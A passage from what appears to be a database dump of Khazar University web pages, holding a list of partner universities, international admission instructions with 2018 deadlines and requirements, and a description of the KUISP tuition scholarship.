sans-serif;font-size:medium\"><a href=\"http://www.aydin.edu.tr/index_eng.asp\">Istanbul Aydin University, Istanbul, Turkey</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://department1.cup.edu.cn/~waisb/\">China University of Petroleum - Beijing, China</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.gzu.edu.cn/page/main367/lxs1/lxszhongwen.htm\">Guizhou University, China</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ku.edu/\">The University of Kansas, USA</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium;color:#6699cc\"><strong>Industrial Management Institute, Azerbaijan Regional Affiliate, Tabriz, Iran</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium;color:#6699cc\"><strong>Aptech-Tabriz Center, Iran</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.gau.edu.tr/en\">Girne American University, North Cyprus</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.qurtuba.edu.pk/\">Qurtuba University of Science and Information Technology, Pakistan</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.tabaelm.com/\">Taba Elm International Institute, Iran</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.calstatela.edu/\">California State University, Los Angeles, USA</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.prague-humanities-institute.com/index.php\">The Prague Humanities Institute (PHI), Prague, Czech Republic</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.smun.spb.ru/\">Смольный Университет Российской Академии Образования, Россия</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.stclares.ac.uk/\">St. Clare\'s College, Oxford, UK</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.sogang.ac.kr/english/\">Sogang University, South Korea</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong style=\"color:#6699cc\">Cavalry School of Management and Design (CSMD), Singapore</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.iscid.com/fr/accueil.aspx\">Institute Superior de Commerce International de Dunkerque (ISCID), France</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.sseriga.edu/en/\">Stockholm School of Economics in Riga, Latvia</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ikiu.ac.ir/en/\">Imam Khomeini International University, Iran</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium;color:#6699cc\"><strong>Farabi Institute of Higher Education, Iran</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium;color:#6699cc\"><strong>Iranian Elite Academy, Azerkadeh, Iran</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ankara.edu.tr/2012/12/28/english/\">Ankara University, Turkey</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.preston.ae/\">Preston University, Ajman, UAE</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://en.uit.no/inenglish\">The University of Tromso, Norway</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.bi.edu/\">BI Norwegian School of Management</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.unicaen.fr/\">University of Caen Lower-Normandy, France</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.csusb.edu/\">California State University, San Bernardino, California, USA</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Partners in Erasmus Mundus Programmes:</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>WEBB Erasmus Mundus partners (2012-2015)</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.unibo.it/\">Università di Bologna</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.tsu.edu.ge/\">Tbilisi State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.unive.it/\">Università Ca’ Foscari Venezia</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.unipv.it/\">Università degli Studi di Pavia</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.cardiffmet.ac.uk/\">Cardiff Metropolitan University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ugent.be/\">Universiteit Gent</a>&nbsp;&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.uni-leipzig.de/\">Universität Leipzig</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.lu.se/\">Lunds universitet</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.univ-poitiers.fr/\">Université de Poitiers</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.utu.fi/\">University of Turku</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.uw.edu.pl/\">Uniwersytet Warszawski</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.usb.md/\">Universitatea de Stat „Alecu Russo” din Bălţi</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.onu.edu.ua/\">Odessa National I.I. Mechnikov University</a>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://bsu.edu.ge/\">RSU - Shota Rustaveli State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.tesau.edu.ge/\">Iakob Gogebashvili Telavi State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.tsu.edu.ge/\">Ivane Javakhishvili Tbilisi State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.bsu.by/\">Belarusian State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>EUROEAST Erasmus Mundus Partners (2012-2016)</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.polito.it/\">POLITO – Politecnico di Torino</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.inter.kpi.ua/\">NTUU “KPI” - KYIV Polytechnic Institute</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.aalto.fi/en/\">AALTO - Aalto University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.amu.edu.pl/\">AMU - Adam Mickiewicz University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.fu-berlin.de/en\">FUB - Freie Universität Berlin</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ist.utl.pt/\">IST - Instituto Superior Tecnico</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ugent.be/\">UGENT - Universiteit Gent</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.univ-montp2.fr/\">UM2 - University of Montpellier 2</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.upv.es/\">UPV - Universidad Politecnica de Valencia</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.iliauni.edu.ge/\">ISU - Ilia State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://bsu.edu.ge/\">RSU - Shota Rustaveli State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.brsu.by/\">BRSU - Brest State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.grsu.by/\">YKSUG - Grodno State University Yanka Kupala</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.uasm.md/\">SAUM - State Agrarian University of Moldova</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.usb.md/\">USB - Alecu Russo Balti State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.utm.md/\">TUM - Technical University of Moldova</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.chnu.cv.ua/\">CHNU - Yuriy Fedkovych Chernivtsi National University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>ELECTRA Erasmus Mundus Partners (2012-2016)</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.uni-oldenburq.de/\">Oldenburg University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.iliauni.edu.ge/\">Ilia State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.upv.es/\">Politechnico de Valencia</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.polito.it/\">Politechnico di Torino</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ul.ie/\">Limerick University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.uminho.pt/\">Universidade do Minho</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.oulu.fi/\">Oulu University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.uj.edu.pl/\">Jagiellonian University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.uctm.edu/\">University of Chemical Technology and Metallurgy</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.tsu.edu.ge/\">Tbilisi State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://bsu.edu.ge/\">Batumi Shota Rusteveli State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.bsu.by/\">Belarusian State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.opu.ua/\">Odessa Technological University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.univ.kiev.ua/\">Kyiv National Taras Shevchenko University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.znu.edu.ua/\">Zaporizhzhya National University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.bntu.by/\">Belarusian Technical University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Partners from previous Erasmus Mundus Program (2007-2011)</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.teithe.gr/\">Alexander Technological Educational Institution of Thessaloniki</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.smu.ac.uk/\">Swansea Metropolitan University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ru.lv/\">Rezekne\'s Augstskola</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.ru.acad.bg/\">University of Ruse \'Angel Kanchev\'</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.uniroma1.it/\">Sapienza University of Rome</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.vub.ac.be/\">Vrije Universiteit Brussel</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.tsu.ge/international\">Ivane Javakhishvili Tbilisi State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.bsu.edu.ge/\">Shota Rustaveli State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.tesau.edu.ge/\">Iakob Gogebashvili Telavi State University</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.gu.edu.ge/\">Gori University</a></p>'),(757,530,'en','How to Apply <sup style=\"color:red\">new</sup>','How to Apply <sup style=\"color:red\">new</sup>','<div><p><strong>This page is intended to give information about admission requirements, selection process, timeline, scholarship opportunity&nbsp;</strong><strong>and other important details.</strong>&nbsp;</p><p><strong>Find Your Program</strong>&nbsp;</p><p>Khazar University offers study programs at both undergraduate and graduate levels for international students. To see the list of programs offered for the academic year of 2018-2019&nbsp;and select your program, download Application for Admission Form for the selected level of study or click&nbsp;<strong><a href=\"http://www.khazar.org/files/letters/International_Programs_2018_2019.pdf\">International Programs</a></strong><strong>.</strong>&nbsp;</p><p><strong>Scholarship Opportunity</strong>&nbsp; &nbsp;</p><p><strong>Khazar University International Scholarship Program</strong>&nbsp;(KUISP) is a merit-based scholarship extended to nationals of all countries and available for potential students at both undergraduate (bachelor) and graduate (master and PhD) levels of study. For more details about KUISP, please&nbsp;<strong><a href=\"http://www.khazar.org/en/menus/497/khazar_university_international_scholarship_program_sup_style_color_red_new_sup_\">click here</a><a href=\"http://www.khazar.org/s7734/Khazar-University-International-Scholarship-Program-updated/en\"></a></strong><a href=\"http://www.khazar.org/s7734/Khazar-University-International-Scholarship-Program-updated/en\"></a>&nbsp;&nbsp;</p><p><strong><br></strong></p><p><strong>Download Application Forms:&nbsp;</strong>&nbsp;</p><p><strong>Application forms for general admission and KUISP</strong>&nbsp;</p><p><a href=\"http://www.khazar.org/files/letters/Bachelor_Application_for_Admission%202018.docx\">Bachelor&nbsp;Application for Admission&nbsp;2018</a></p><p><a href=\"http://www.khazar.org/files/letters/Master_Application_for_Admission%202018.docx\">Master Application for Admission&nbsp;2018</a></p><p><a href=\"http://www.khazar.org/files/letters/PhD_Application_for_Admission%202018.docx\">PhD Application for Admission&nbsp;2018</a></p><p><a href=\"http://www.khazar.org/files/letters/Scholarship_Application_Form_2018_2019.docx\">Scholarship&nbsp;Application Form 2018-2019</a></p><p><strong><br></strong></p><p><strong>Admission timeline,selection process and deadlines</strong>&nbsp;</p><p>The deadline to apply is&nbsp;<strong>17:00 (5:00 PM) Baku time on Sunday, April 15, 2018.</strong>&nbsp;</p><p>Selection process at Khazar University is a rigorous, three-stage process consisting of screening, application review and interviews of semifinalists.</p><p><br></p> <table cellspacing=\"0\" cellpadding=\"0\" style=\"\" background:white;border-collapse:collapse;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr style=\"height:16.0pt\">\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:16.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Date</strong><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:16.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Activity&nbsp;</strong></p>\r\n  </td>\r\n </tr>\r\n <tr style=\"height:8.0pt\">\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:8.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">December, 2017</p>\r\n  </td>\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:8.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Admission Opens</p>\r\n  </td>\r\n </tr>\r\n <tr style=\"height:16.0pt\">\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:16.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">April 15, 2018, 17:00 (5:00 PM) Baku time</p>\r\n  </td>\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:16.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Application Deadline</p>\r\n  </td>\r\n </tr>\r\n <tr style=\"height:8.5pt\">\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:8.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">April – May, 2018</p>\r\n  </td>\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:8.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Selection Process</p>\r\n  </td>\r\n </tr>\r\n <tr style=\"height:8.0pt\">\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:8.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Mid-June, 2018</p>\r\n  </td>\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:8.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Notification of Results</p>\r\n  </td>\r\n </tr>\r\n <tr style=\"height:8.0pt\">\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:8.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">July&nbsp;– August, 2018</p>\r\n  </td>\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:8.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Applying for /&nbsp;Obtaining Student&nbsp;Visas</p>\r\n  </td>\r\n </tr>\r\n <tr style=\"height:8.0pt\">\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:8.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">September 10, 2018</p>\r\n  </td>\r\n  <td width=\"287\" style=\"\" width:215.6pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:8.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Last Day for Students’ Arrival</p>\r\n  </td>\r\n </tr>\r\n</tbody></table> <p><br></p><p><strong>Submit Your Application</strong>&nbsp;</p><p>Applications are submitted directly to the International Affairs Office and should be sent either to&nbsp;<strong><a href=\"mailto:international@khazar.org\">international@khazar.org</a>&nbsp;</strong>or by post along with all required documents. Please consult the list of requirements for selected level of study before submitting your application.Incomplete and late applications will not be considered.&nbsp;</p><p><strong><br></strong></p><p><strong>IMPORTANT INFORMATION:<strong>&nbsp;&nbsp;</strong></strong>All documents issued in another language must be translated into English by either an official translation service or your university/college.&nbsp;</p><p><strong>Admission Requirements</strong>&nbsp;</p><p><strong>Bachelor Admission Requirements</strong>&nbsp;</p><ul><li><a href=\"http://www.khazar.org/files/letters/Bachelor_Application_for_Admission%202018.docx\"><strong>Bachelor Application for Admission Form&nbsp;</strong></a>(click to download)</li><li>Secondary School Certificate</li><li>Academic Transcripts of Records</li><li>Statement of Purpose</li><li>Curriculum Vitae (CV) or Resume</li><li>Medical Examination Certificate</li><li>Copy of International Passport</li></ul><p>Optional:&nbsp;</p><div><ul><li>Standardized English Language Test Scores (valid TOEFL/IELTS scores: expired scores are not accepted)</li><li>Certificates Proving Extracurricular Activities</li></ul></div><p><strong>Master Admission Requirements</strong>&nbsp;</p><div><ul><li><strong><a href=\"http://www.khazar.org/files/letters/Master_Application_for_Admission%202018.docx\">Master Application for Admission Form</a>&nbsp;</strong>(click to download)</li><li>Bachelor Degree Diploma</li><li>Academic Transcripts of Records</li><li>Statement of Purpose</li><li>Curriculum Vitae (CV) or Resume</li><li>Medical Examination Certificate</li><li>Copy of International Passport</li><li>Two Reference Letters</li></ul></div><p>Optional:&nbsp;</p><div><ul><li>Standardized English Language Test Scores (valid TOEFL/IELTS scores: expired scores are not accepted)</li></ul></div><p><strong>PhD Admission Requirements</strong>&nbsp;</p><div><ul><li><strong><a href=\"http://www.khazar.org/files/letters/PhD_Application_for_Admission%202018.docx\">PhD Application for Admission Form</a>&nbsp;</strong>(click to download)</li><li>Master Degree Certificate or Diploma</li><li>Academic Transcripts of Records</li><li>A Research Proposal&nbsp;outlining the PhD research that&nbsp; you want to conduct</li><li>List of Publications</li><li>Two references from individuals who can evaluate applicant\'s academic or professional skills and experience</li><li>Copy of International Passport</li><li>Medical Examination Certificate</li><li>Curriculum Vitae (CV) or Resume</li><li>Proven English Language Skills in Reading and Writing. Standardized English language test scores are not compulsory. However, the applicants with standardized scores (valid TOEFL/IELTS scores) will have competitive advantage.</li></ul></div><br></div>'),(758,531,'en','Khazar University International Scholarship Program <sup style=\"color:red\">new</sup>','Khazar University International Scholarship Program <sup style=\"color:red\">new</sup>','<div><p style=\"text-align:center\"><strong>2018-2019</strong></p><p style=\"text-align:center\"><strong>Khazar University International Scholarship Program</strong>&nbsp;&nbsp;</p><p style=\"text-align:center\"><strong>Deadline for Applications:&nbsp;</strong><strong>17:00 (5:00 PM) Baku time on Sunday, April 15, 2018</strong></p><p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>I.&nbsp;</strong><strong>Program Statement</strong></p><p>Khazar University is the first private University in the South Caucasus that started implementing international education programs with English language as a medium of instruction. Pursuant to its policy and service commitments, the University is proud to announce the Khazar University International Scholarship Program for 2018-2019&nbsp;(further referred to as KUISP) extended to nationals of all countries without any limitation.</p><p style=\"text-align:center\"><strong>II.&nbsp;</strong><strong>General Principles</strong></p><p>The guiding principles of the program are as follows:</p><p>- &nbsp;All foreign citizens are eligible for KUISP.</p><p>- &nbsp;KUISP is available for potential students at all schools of the University: School of Engineering and Applied Sciences, School of Economics and Management, School of Humanities and Social Sciences and School of Education.</p><p>- &nbsp;Applicants to bachelor, master and PhD programs are eligible to apply for KUISP.</p><p>- &nbsp;Every year two scholarships, each covering the cost of the full tuition fee, will be awarded to citizens of each country who apply to Khazar University programs.</p><p>- &nbsp;The scholarship is provided for one year subject to prolongation based on the academic performance of the grantee.</p><p>- &nbsp;The scholarship covers the cost of the tuition fee for one academic year, but does not cover living, travel or other expenses.</p><p>- &nbsp;Khazar University conducts evaluation and the selection of submitted applications via document screening and Skype interviews with shortlisted applicants. The details and the time frame of the selection are specified in the KUISP time schedule (Section IV below).</p><p style=\"text-align:center\"><strong>III.&nbsp;</strong><strong>Eligibility Criteria</strong></p><p>The successful applicants should meet the following criteria:</p><p>- &nbsp;Good academic performance records of the previous education stage (high school, bachelor or master programs)</p><p>- &nbsp;Good English language skills. Standardized English language test scores are not compulsory. However, the applicants with standardized scores (valid TOEFL/IELTS scores: expired scores are not accepted) will have competitive advantage. Holders of International Bachelor degree certificates or diplomas from a high school with English as a major medium of instruction do not need a language skill justification document</p><p>- &nbsp;Motivated to study at Khazar University</p><p>- &nbsp;Good communication skills and sociability</p><p style=\"text-align:center\"><strong>IV. &nbsp;</strong><strong>Time Schedule of Application and Selection</strong></p><p>KUISP is implemented according to an annually developed and approved implementation plan. Implementation activities, the time scheme and implementing bodies are specified in the table below:</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"622\" style=\"\" width:466.5pt;background:white;border-collapse:collapse;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"132\" style=\"width:99.0pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Activity</strong></p>\r\n  </td>\r\n  <td width=\"117\" style=\"width:87.75pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Date</strong></p>\r\n  </td>\r\n  <td width=\"373\" style=\"width:279.75pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Description</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"132\" style=\"width:99.0pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Admission opens</strong></p>\r\n  </td>\r\n  <td width=\"117\" style=\"width:87.75pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">December, 2017</p>\r\n  </td>\r\n  <td width=\"373\" style=\"width:279.75pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Khazar University announces the opening of\r\n  admission for the academic year of 2018 – 2019</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"132\" style=\"width:99.0pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Announcement&nbsp; of the KUISP</strong></p>\r\n  </td>\r\n  <td width=\"117\" style=\"width:87.75pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">December, 2017</p>\r\n  </td>\r\n  <td width=\"373\" style=\"width:279.75pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Announcement will be placed on Khazar’s\r\n  website,&nbsp;International Affairs Office’s Facebook page, and websites of\r\n  partner universities abroad.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"132\" style=\"width:99.0pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Deadline for applications</strong></p>\r\n  </td>\r\n  <td width=\"117\" style=\"width:87.75pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>April 15, 2018,&nbsp;17:00 (5:00 PM) Baku time</strong></p>\r\n  </td>\r\n  <td width=\"373\" style=\"width:279.75pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Applications may be submitted by e-mail (all\r\n  required documents should be scanned and attached) or post.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"132\" style=\"width:99.0pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Evaluation and selection</strong></p>\r\n  </td>\r\n  <td width=\"117\" style=\"width:87.75pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">April – May, 2018</p>\r\n  </td>\r\n  <td width=\"373\" style=\"width:279.75pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">The Selection Committee established by the University\r\n  and facilitated by the International Affairs Office staff will decide about\r\n  scholarship awards.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"132\" style=\"width:99.0pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Announcement of selection results</strong></p>\r\n  </td>\r\n  <td width=\"117\" style=\"width:87.75pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Mid-June, 2018</p>\r\n  </td>\r\n  <td width=\"373\" style=\"width:279.75pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">The selection results will be communicated\r\n  by e-mail to applicants and partner organizations (Embassies and\r\n  Universities)</p>\r\n  </td>\r\n </tr>\r\n</tbody></table> <p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><strong>&nbsp;</strong><strong>V.&nbsp;&nbsp;</strong><strong>Scholarship Application Procedure</strong></p><p style=\"text-align:left\">To apply for the KUISP Scholarship, applicants need to fill in and submit:  <br></p><br><ol><li>Khazar University Application for Admission Form for the selected level of study (Bachelor, Master or PhD) along with all required documents listed in the application 